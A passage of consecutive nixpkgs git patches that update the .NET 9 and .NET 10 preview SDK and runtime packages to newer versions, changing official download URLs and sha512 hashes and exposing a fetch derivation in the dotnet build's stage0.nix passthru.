+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-musl-arm64.tar.gz";
+        hash = "sha512-4mP7M8JBvsvY8vemP5tfQSPBpmfFVEfwOiSc/1SRs4pt+mKEURwPxidFxp8wK0ytnICIwnAJNYLX28p6LsZdCg==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-musl-x64.tar.gz";
-        hash = "sha512-cWsBVZtEMgwSRFnEYdyb56I5G2gOybpGoi93pzfrk8TjMjpzsRON3RV03MUJNMgq33q+eS1rvZU7iup5BhmUHw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-musl-x64.tar.gz";
+        hash = "sha512-zf3Ek3pbRF4rjuks2odZedJWiUjdX+fQH4QwW2Mh3KZNZ+1hqYweccbaHu2CLwddC7BBBVGuyw+PPhMThDZ2qA==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-osx-arm64.tar.gz";
-        hash = "sha512-i5UP3wmfNAIsuxGuLnNvo2081+EXIwlxIw6z4M2z0z82tD+H7m+MB2fFbmYZBmZnvPyOJnpvQWllucN7DJIVLw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-osx-arm64.tar.gz";
+        hash = "sha512-zXzElKrtYs2r8Sh6CMvDoPKPMRLoluA37YLYRdZThzJ+I0UlvxwESbA+8hhSM9RWL7Wfv9GdXyjaPgpnE3RTdw==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-osx-x64.tar.gz";
-        hash = "sha512-uGB/aI7PBs+fspUEU4PXVlvCyQV+eQ93FqKsLQVsmva1o9ZC2Cob9PgnJ+C29rBmxy4sVO2Wn8Wt6jiEHYhAjA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-osx-x64.tar.gz";
+        hash = "sha512-lm3Eezqhx6qSOzVI2IdkiCNpKwU/CT5PJrhmu/WAmx3W7zi9LC5RpOgPBsXb5K7Q21uuVSrZgmRi+sMOpormFg==";
       };
     };
   };
 
   sdk_10_0_1xx = buildNetSdk {
-    version = "10.0.100-preview.5.25277.114";
+    version = "10.0.100-preview.6.25358.103";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-arm.tar.gz";
-        hash = "sha512-G7cuus8JCj/DTdExGtY05PsA6kUjIKpo1iq7+DEhUYta5CucGJX7gE9Vz6zseAlcryPAzPRNAHaRLH46WgAXhg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-arm.tar.gz";
+        hash = "sha512-lYjjTcixBEvdjpzqH9DWtWf+3w3br0iXsVOrmz6TrElXRXgQ+p7NfaTVo22KBbxItnCv0PUtTVbRQPdCoEOCCg==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-arm64.tar.gz";
-        hash = "sha512-6Z8DhYuv+htB5n62KRt+nraPyJJkCXlNRBaYIJK36ANW5VR753m3dCFsHseu4ja2R0Vny3wNgV7NGevHGwf5cQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-arm64.tar.gz";
+        hash = "sha512-cwFkPqL72yWCUmxtRpnTy2V/bJDjzn8nRq1RwyCoSDwoDToV/C4HJgWyvf52NpBjo4T/Ydef+WRBg+SyHBundA==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-x64.tar.gz";
-        hash = "sha512-TvO8F3u6p7o4zreM8BCbrM6h9EMs2MUuPXiyN81akr1mDpJndANqL8tRF19I/+vIpl3KVruQW8jtTy7P2MFceQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-x64.tar.gz";
+        hash = "sha512-ZivWGncnWokxhq7VsKbmamE9M2V/cQJqJ/dl8RlreOPzoq2ljhs34Prqw5qDd7Pps7zqK3LFsG3V2YSK2Yc/Pw==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-musl-arm.tar.gz";
-        hash = "sha512-3kPLgWklkf9lCKm+4ZEH/gPmVRYz8D/WF88poU5RQtvcrtne1Aan6DnznY0PtLaqF0nCySW2PJPMFWdCBnmwwQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-musl-arm.tar.gz";
+        hash = "sha512-9E/Akg2mqGl07lLa7ODP/oyJEZPOmp1ob9k+gXiB7CSLkT5xdF7ldqZb9P3BZQZxivkERM7g9wFPuJZ6k6bMyA==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-musl-arm64.tar.gz";
-        hash = "sha512-xQhcU5dKu5lJp3TuYTuyLKoiu1EIgylqpeDPlZD08Tvg4ucHTkBU+bG/CdINCPL/IjWUSV6Vb77q6FxQjH8Vlg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-musl-arm64.tar.gz";
+        hash = "sha512-xK/vp5j5cN3jplkjwCZItn87VU5Rp94TstKSRoQ3EtCGRcj8IjpAi9N+Df17+HWA0EaM+nQAlexbNbknQG+Lnw==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-musl-x64.tar.gz";
-        hash = "sha512-ueSPDBuLIz8L7Rjv2E3DWz3/T2yEBSycykD8cBo00dhnRN6sDxVckc68PlQnYXCtC1Haeo5z5Zen09JGcmCMGA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-musl-x64.tar.gz";
+        hash = "sha512-LCj610mZoxlInz08MT41eSP+UaQCG+01OZeA8trqlZzehNkYNdHjEMk71LfLaV+xT29lAa0LFmF0L/xYAVNiaQ==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-osx-arm64.tar.gz";
-        hash = "sha512-GFo+NBuSi6GyGPt2n7DYz9cWLFZ8zUaSj/znTWBpugxJHkTpBihVM1KDp0fpla9EUp62/OBtPAnFybCmIsOTYA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-osx-arm64.tar.gz";
+        hash = "sha512-xDIGEqUUEXVSocsTu6RBc72L25UGwTtLmmeumrCziq1+zU5d0dTDIwukn7luzRSyrzQWkp52UcXJkMv3ber7mg==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-osx-x64.tar.gz";
-        hash = "sha512-yvcOuvEYL9gD5goF8veTq29pAuw2W9lLCZAmeXCfsq72EioDJW2005NvM7mPZGI+jtoMZM+K6QKCnCPnRZhxSA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-osx-x64.tar.gz";
+        hash = "sha512-rWlkOrW5A00BlxcOx+TusNgSzeXwKKHq8X+w8gnOKyUZMrJBKNsMVfBXs+mv9n14vLBFmAiT+B2WlQMjYRpnlQ==";
       };
     };
     inherit commonPackages hostPackages targetPackages;

From 34b55b0f33477a2c1b342e6de321194d1761a5f2 Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Fri, 18 Jul 2025 12:13:32 +0000
Subject: [PATCH 2765/4511] dotnetCorePackages.sdk_9_0-bin: 9.0.302 -> 9.0.303

(cherry picked from commit c6b47b3748ce89c5a77e3a40f8334b8ff0e4bb3f)
---
 .../compilers/dotnet/versions/9.0.nix         | 34 +++++++++----------
 1 file changed, 17 insertions(+), 17 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/versions/9.0.nix b/pkgs/development/compilers/dotnet/versions/9.0.nix
index 9d1f25650577..b410bbd84b46 100644
--- a/pkgs/development/compilers/dotnet/versions/9.0.nix
+++ b/pkgs/development/compilers/dotnet/versions/9.0.nix
@@ -482,39 +482,39 @@ rec {
   };
 
   sdk_9_0_3xx = buildNetSdk {
-    version = "9.0.302";
+    version = "9.0.303";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.302/dotnet-sdk-9.0.302-linux-arm.tar.gz";
-        hash = "sha512-iAUAF2q8Jjuf5Nn9Wz93uXU3C8x2rxRTtbd22DUymlqfPgKQPO0+40Ga5vfg6Zy5ZLWFu0MNp11mI9wpZcRggQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.303/dotnet-sdk-9.0.303-linux-arm.tar.gz";
+        hash = "sha512-bSXP+PZ+aK+YODUi+2IoW44Pg1qodLkdYdW8NbkEy08b1mut9U2y4RvS9y+32VQbkA4kOFimljfhcuFUfVzWaw==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.302/dotnet-sdk-9.0.302-linux-arm64.tar.gz";
-        hash = "sha512-3e1DfINrIBIZ74yxmT5Qw+lqnQnNJUH/4sCBBTDnN9+0StuN12bKovAt7w0LwqycVjoYnxyxympk2fcSUalBQQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.303/dotnet-sdk-9.0.303-linux-arm64.tar.gz";
+        hash = "sha512-glczgoLlrZ7IUw5rG3Cl4jXZxKubm+bQVI9hzbClXnFanXZrVSA+4BA24grpvU50q6v6GnyU1F6JsvMU6Q6Zmw==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.302/dotnet-sdk-9.0.302-linux-x64.tar.gz";
-        hash = "sha512-/kapbnlDiLNFEF5HiW5OkQmf/ZB6cSf/LK33ats6e+C0PwzY0sN2rkVSg9CPR1H37xGJD9JpcwTvEURHriCciA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.303/dotnet-sdk-9.0.303-linux-x64.tar.gz";
+        hash = "sha512-4RUYwYSrT4C11kEey8o+B+JEoZDpSeUe9z02xSFCDwYQeYeUetqSRhikS5FCyqCXvQNlnZcySfRjql5YQX6/3A==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.302/dotnet-sdk-9.0.302-linux-musl-arm.tar.gz";
-        hash = "sha512-9CCSrnlxmzrBNun2NLuBJR11tzVR4NhmHovotd7LI2M/CHf/Hh/GCxZQlIPiC0naycekzGCThI0enaD3xqk8Nw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.303/dotnet-sdk-9.0.303-linux-musl-arm.tar.gz";
+        hash = "sha512-Gn3x2Y+NaGNpvhaJPAK39eF7ZHhcS7PVVy8jBH2cfCUrp8GmcSAT/+J0459gcHobDi6gDwdpGXbSecgJkji9vw==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.302/dotnet-sdk-9.0.302-linux-musl-arm64.tar.gz";
-        hash = "sha512-yEsbQZqvLXeLCA4Bnwk3iX3Ipk0GEqPCIDrNy7H/WYhHqHo+w8aI89A6zLIYB1KzybEAQ6YEeDRxUbqzZV3tHw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.303/dotnet-sdk-9.0.303-linux-musl-arm64.tar.gz";
+        hash = "sha512-P0uR41oG2VxzfABnPf8pZYTXsz7pEc4zRBNiSMZfhBWBvjkif9Q6AOPANt3zpVPPAfM7Lpc64q9XibxuUEVY8Q==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.302/dotnet-sdk-9.0.302-linux-musl-x64.tar.gz";
-        hash = "sha512-AaATj8XmsF9r939RsiXLtzYGVS8SH3yUfkqcXbRXddQDHXmkrh/G5rO11jiOzSsNUD5UR7Lokv7ZU5oHKOYk3Q==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.303/dotnet-sdk-9.0.303-linux-musl-x64.tar.gz";
+        hash = "sha512-320qBD5LMb54ykNgcnoebHEkPUDK/Pg8vEVOtJBMuDiHGtzr4hgXiFQK42seCineuiljh2F90jxKvZOvy3AMDQ==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.302/dotnet-sdk-9.0.302-osx-arm64.tar.gz";
-        hash = "sha512-B+gXhllDfXgjAWk6T4Vy5DZt3Wbukyswmo1vAuohNMwVvcKg8dGSS6dW3ORUPXToGI2cUt4KF9Y5qcOTtPTxlA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.303/dotnet-sdk-9.0.303-osx-arm64.tar.gz";
+        hash = "sha512-QQmZkH1gksUhVa/FnDvKwUmBGFHbcxj2/iFeN7N3rBsxbLtZW7IctSZ5HzltpM1Dnkstt21FqCW1fML0cpouLg==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.302/dotnet-sdk-9.0.302-osx-x64.tar.gz";
-        hash = "sha512-EKhj7wgCBRBiWVhHHM5Ni0cN7TjF/JvMcilcYGa8ClqtmtIsW0ta0BXo1dw9syjftoLpB2YwDNlQLBcbXZMCRw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.303/dotnet-sdk-9.0.303-osx-x64.tar.gz";
+        hash = "sha512-Awl5B4eA87sII2M/DdoyT71Rm84VP95tQbZvLsU/szgyilAc2eOgQl5eczxDCisZffT99uThQWbyS6sLXDfQsA==";
       };
     };
     inherit commonPackages hostPackages targetPackages;

From 7db08530b87061078c94f6c767b1834795e5537b Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Fri, 18 Jul 2025 09:51:42 -0300
Subject: [PATCH 2766/4511] dotnetCorePackages.dotnet_{8..10}.vmr: expose fetch
 derivation in passthru.fetch-drv

(cherry picked from commit a251ec0679cca00116609c8088b1495ba0fdd240)
---
 pkgs/development/compilers/dotnet/stage0.nix | 54 +++++++++++---------
 pkgs/development/compilers/dotnet/stage1.nix |  2 +-
 2 files changed, 30 insertions(+), 26 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/stage0.nix b/pkgs/development/compilers/dotnet/stage0.nix
index 443454b517bc..701475f82f09 100644
--- a/pkgs/development/compilers/dotnet/stage0.nix
+++ b/pkgs/development/compilers/dotnet/stage0.nix
@@ -90,8 +90,9 @@ let
             xargs -0 patchelf --add-needed libssl.so --add-rpath "${lib.makeLibraryPath [ openssl ]}"
         '';
 
-        passthru = old.passthru or { } // {
-          fetch-deps =
+        passthru =
+          old.passthru or { }
+          // (
             let
               inherit (vmr) targetRid updateScript;
               otherRids = lib.remove targetRid (
@@ -138,37 +139,40 @@ let
 
               drv = builtins.unsafeDiscardOutputDependency pkg.drvPath;
             in
-            writeShellScript "fetch-dotnet-sdk-deps" ''
-              ${nix}/bin/nix-shell --pure --run 'source /dev/stdin' "${drv}" << 'EOF'
-              set -e
+            {
+              fetch-drv = drv;
+              fetch-deps = writeShellScript "fetch-dotnet-sdk-deps" ''
+                ${nix}/bin/nix-shell --pure --run 'source /dev/stdin' "${drv}" << 'EOF'
+                set -e
 
-              tmp=$(mktemp -d)
-              trap 'rm -fr "$tmp"' EXIT
+                tmp=$(mktemp -d)
+                trap 'rm -fr "$tmp"' EXIT
 
-              HOME=$tmp/.home
-              cd "$tmp"
+                HOME=$tmp/.home
+                cd "$tmp"
 
-              phases="''${prePhases[*]:-} unpackPhase patchPhase ''${preConfigurePhases[*]:-} \
-                configurePhase ''${preBuildPhases[*]:-} buildPhase checkPhase" \
-                genericBuild
+                phases="''${prePhases[*]:-} unpackPhase patchPhase ''${preConfigurePhases[*]:-} \
+                  configurePhase ''${preBuildPhases[*]:-} buildPhase checkPhase" \
+                  genericBuild
 
-              # intentionally after calling stdenv
-              set -Eeuo pipefail
-              shopt -s nullglob
+                # intentionally after calling stdenv
+                set -Eeuo pipefail
+                shopt -s nullglob
 
-              depsFiles=(./src/*/deps.json)
+                depsFiles=(./src/*/deps.json)
 
-              combined=$(nix-build ${toString ./combine-deps.nix} \
-                --arg list "[ ''${depsFiles[*]} ]" \
-                --argstr baseRid ${targetRid} \
-                --arg otherRids '${lib.generators.toPretty { multiline = false; } otherRids}')
+                combined=$(nix-build ${toString ./combine-deps.nix} \
+                  --arg list "[ ''${depsFiles[*]} ]" \
+                  --argstr baseRid ${targetRid} \
+                  --arg otherRids '${lib.generators.toPretty { multiline = false; } otherRids}')
 
-              jq . "$combined" > deps.json
+                jq . "$combined" > deps.json
 
-              mv deps.json "${toString prebuiltPackages.sourceFile}"
-              EOF
-            '';
-        };
+                mv deps.json "${toString prebuiltPackages.sourceFile}"
+                EOF
+              '';
+            }
+          );
       });
 in
 mkPackages { inherit baseName vmr; }
diff --git a/pkgs/development/compilers/dotnet/stage1.nix b/pkgs/development/compilers/dotnet/stage1.nix
index 6954fc6ca8c1..056159ff4c4e 100644
--- a/pkgs/development/compilers/dotnet/stage1.nix
+++ b/pkgs/development/compilers/dotnet/stage1.nix
@@ -28,7 +28,7 @@ let
     }).overrideAttrs
       (old: {
         passthru = old.passthru or { } // {
-          inherit (stage0.vmr) fetch-deps;
+          inherit (stage0.vmr) fetch-drv fetch-deps;
         };
       });
 

From 73450ed021fd0e61201df5ad2c7e8865229e204c Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Sun, 20 Jul 2025 00:21:23 +0000
Subject: [PATCH 2767/4511] dotnetCorePackages.dotnet_10.vmr: 10.0.0-preview.5
 -> 10.0.0-preview.6

(cherry picked from commit aed471da9a42a53cb67a0313065eb3a7b377fdcf)
---
 .../compilers/dotnet/10/bootstrap-sdk.nix     | 376 +++++++++---------
 .../development/compilers/dotnet/10/deps.json |  48 +--
 .../compilers/dotnet/10/release-info.json     |   6 +-
 .../compilers/dotnet/10/release.json          |  14 +-
 pkgs/development/compilers/dotnet/stage0.nix  |  12 +
 pkgs/development/compilers/dotnet/vmr.nix     |  30 +-
 6 files changed, 257 insertions(+), 229 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/10/bootstrap-sdk.nix b/pkgs/development/compilers/dotnet/10/bootstrap-sdk.nix
index c01ae1f5664e..f9f308809983 100644
--- a/pkgs/development/compilers/dotnet/10/bootstrap-sdk.nix
+++ b/pkgs/development/compilers/dotnet/10/bootstrap-sdk.nix
@@ -11,28 +11,28 @@ let
   commonPackages = [
     (fetchNupkg {
       pname = "Microsoft.AspNetCore.App.Ref";
-      version = "10.0.0-preview.5.25277.114";
-      hash = "sha512-s4HlvPy1QuJKFkv5YvtRhYyOBiOm+OHD1RDnOdQCrpxCVbBEguF5jv4Ad4GX/cEqW+HB8hSt0Z0b8+rHu5Ki+A==";
+      version = "10.0.0-preview.6.25358.103";
+      hash = "sha512-DF9lEJjcAAcQtFB9hLXHbQaLW82nb4xlG9MKfbqpZzIQfidqcAuE2GOug/q6NNDcw+N88J0p0jKPz+k3qKmAKw==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetAppHost";
-      version = "10.0.0-preview.5.25277.114";
-      hash = "sha512-CpTBajurwDJBqGksHOWwf/deFNhBj5mooR8mkK1hpKexMR20KuprblkuCxHEzdf99F4pvOY3cpi1jpE+jkhqGg==";
+      version = "10.0.0-preview.6.25358.103";
+      hash = "sha512-SV9nyI2/sg7Rh3f01eDScmjKYuuzI6xPX+iknl2zsecspqYBlWcPN1SvMDlaD/sK3GG5jl3hrM/GcOIqMpoFJA==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.App.Ref";
-      version = "10.0.0-preview.5.25277.114";
-      hash = "sha512-MYy3h/RxwEKD5fKfyW8xb+qiYAdvXmIh4HCxXpiCII04SvWH6myXrF+IsdoAdtIFdNnf/MWe6zbaUi1lwh5MEA==";
+      version = "10.0.0-preview.6.25358.103";
+      hash = "sha512-npMO7GioGKn0FigriTOCsi4HgSENnW9YRJYXhyFtCGLR7b71FDLVY8nHemM0XYm9lI0tH23N1EwcDFyzHTDuNA==";
     })
     (fetchNupkg {
       pname = "Microsoft.DotNet.ILCompiler";
-      version = "10.0.0-preview.5.25277.114";
-      hash = "sha512-IveQf1NcMPHPWL4JWlmhjE3Zuh6Z4EH+1vJGbT+WP1TwxGLiek/ejwS1PovGP8rYfkOEWT9LRAE+cHjT849mTA==";
+      version = "10.0.0-preview.6.25358.103";
+      hash = "sha512-zDr+tWvnlB9iEwnAlfa3PW/S1/0nw1lhvXBWghgE6o9O5sxc35V3aobPAs+Cm6DTN+lvNMouhjPt6pn2t4PvQQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.NET.ILLink.Tasks";
-      version = "10.0.0-preview.5.25277.114";
-      hash = "sha512-/R/whqQSpMH1QImsjt7uq2ALWe9foCob6gVheTqF+Fnwu0LmFZbcAmiB+oEyCt8hJwmS7i/YVg8Gwod5VzdPIA==";
+      version = "10.0.0-preview.6.25358.103";
+      hash = "sha512-W1yNC4+7vV1XPSXJx7HFsvFCi1C1XZ7QVlfbu+xq4pt1/0cVJGZaRlbwBNUAv4PAdg2JGM4VYtcr3ZreOJ1hzA==";
     })
   ];
 
@@ -40,118 +40,118 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-5ESzKgrodn+sAQSmMLOxeS7mJWm8BA363aPG91+k/35/Ah/txahPPCc4omRWDMmEutK7fCY8c7zgS7tGlf7McA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-IKe0SROzAWJiFZyh2KVmTU5i8ddcEqvr5NIr+3RfzvBEYa3SNBbqy1W1x0TR2aEvYgSqxKSohhs9YVSDlrlx0Q==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-qEaKvjfg4dv1xhz/y60Y1n9dQNM5TLo+S5ncuwnZTrUVAxlXBtq9IYqZJ3phynbt5zKPgyqk3P4AUQ9yq+Os4w==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-5h33Uf2vFcjVkeNRD41YiERegQ7twv6sljYAMtz/kIHcIk90aB0ztZoKXXVi+vNxma7q/f5oPxhzUVidZ3vw8g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-FuN+WXR/OVGTxucPJranVRmxbYdZgGLorua2fl1H8tDXrgnFJ1r1gmUS5nDVG4+6zlbAohUtCmg+CLl2cJZshA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-yImkb4fnUJIXR2Me5N8eOrX7w9+u8SAAIp8QtlWdZ6WptjG6PUByTs2hjTfX/aVKjO4p1dmKTaWJ0qYR6yuDEQ==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-zFwwL03ZGoCFoSBMIm5JxwDqHoEFwqWQY/70z8L708keOulasLQaZzNo+0Aj17LRbO9ai1f0NraNwgkQipBw3A==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-1FIBZLtWKIxULrRjLrldz6kwVSoAIf72kXKE0WgXECVez98NbQXLEM90hfpHj0LcQfzqOoP9kY48yRSoXp+rXg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-Z3yH1oMeEi7bfULV1vsJUmhJV7sGFe3j4sTdcQ2Iqot2KnNq54uUDkHigPRSi0PQ0p2tOnK4idVTDntITm4DWw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-eMokXhxbTVJUHwlAhM1dVZmjljs/s1nRfvrJ0AeJaTbetXnD63Fd6sQeMmw/EifYnpdtxr/gIJRHLPsuLNDcAA==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-50+U03mBEDtKgzzQus6e/b9SPeY5hSTrm4k8Jk0AyiKzU30UL7sjgQzfRGGvNEKEEScDg86nqeJ4Ox3A8Splqg==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-qw5Xb2+l14q+2OSesjwGn3gHpdFj0wUeA3RLEUaljzW8FF5HD78B6t1YuhFJhcENuDNAv5d8Fcy4N1mG/RQZUw==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-FOGUGW5RSoxkBLjiVP2Rq6yIrODbDFF822fAySFR0Sb7Wl5zFa2DBrzobjjpPX5kxGO5g/KDpvvhzc5ER6NSVA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-Etq6qbPIzEV8Z3+w0C1ibreDduKkAF1zZOGfvcBz3sjAC9sWs/qflxfKGZ7tBKhEV/A3vZWKNGyxYKnawCtC3g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-B/YcJ/Owoamyww7r2MsTI2cSWTmADFiUAH+JLXo2gJKx29W1FHo9/AJkzhj4hPbTOjcxXZXgnpdAv1wpVAsgRw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-SINZNHzxrKbgD7VGAx9GDMIlMOmXSpqWIeLpmNpPTm2D7F+NfXv2lVLxLl0nLUAJ70ipI51HdHGyrKXTOaFO8g==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-EWGjha2ABrQ5dc80NPXI3wqMBwTbV57Yd8+vhtG9+TUkdaPIm7Ih9tiEskTdw4bbvRi4WJaPMlkaw7t1bUcO4g==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-t2YTlMAHq+V8K8TnsFhUudCqiV5CElb/dk2tFmZ61Td4gyLY/iz+4q5lvpGAZOlCFddTtublSbIC3n4EH3liEQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-4KsNQ8Qd5WwJGSeRM8oIUUc0xlFJ4Sijfmyi+jCHGPKs8NsBOeojdSyg36ROBeDZ1pJVkplLqQJkl4/QMk+6Ag==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-lEaH55DO++s5EKEHfODZkF279HI5DROQgaTif93wcMg9mhL5kPHnLhi9S7qTMFKt+GQfmZWMlwZd+L6GVz+RVQ==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-t2fI/fmsogh6D2d0Y8QDBvvubtSNxfCuwoY0zHO2Kq80VflvC9AnC8JGEBjiGH7UDf57sVDzZkBkFcB6zIYEpw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-zuh5p3Hq0ejcgbCe3IaVOj+mItbRve25QdIXaGirOfDuO2a5fGXSO8RtgFosw8ar2jBSG3qL6loMFqqgkiEuVA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-A8r/O6ncUS0OoLWuIO081xE77Im/EKQ3ath4DzqL27GBO7AqBYME8c0fEMxBn3ezqDKKgp7WoRjxmvyFrjjFUg==";
+        version = "10.0.0-preview.6.25358.103";
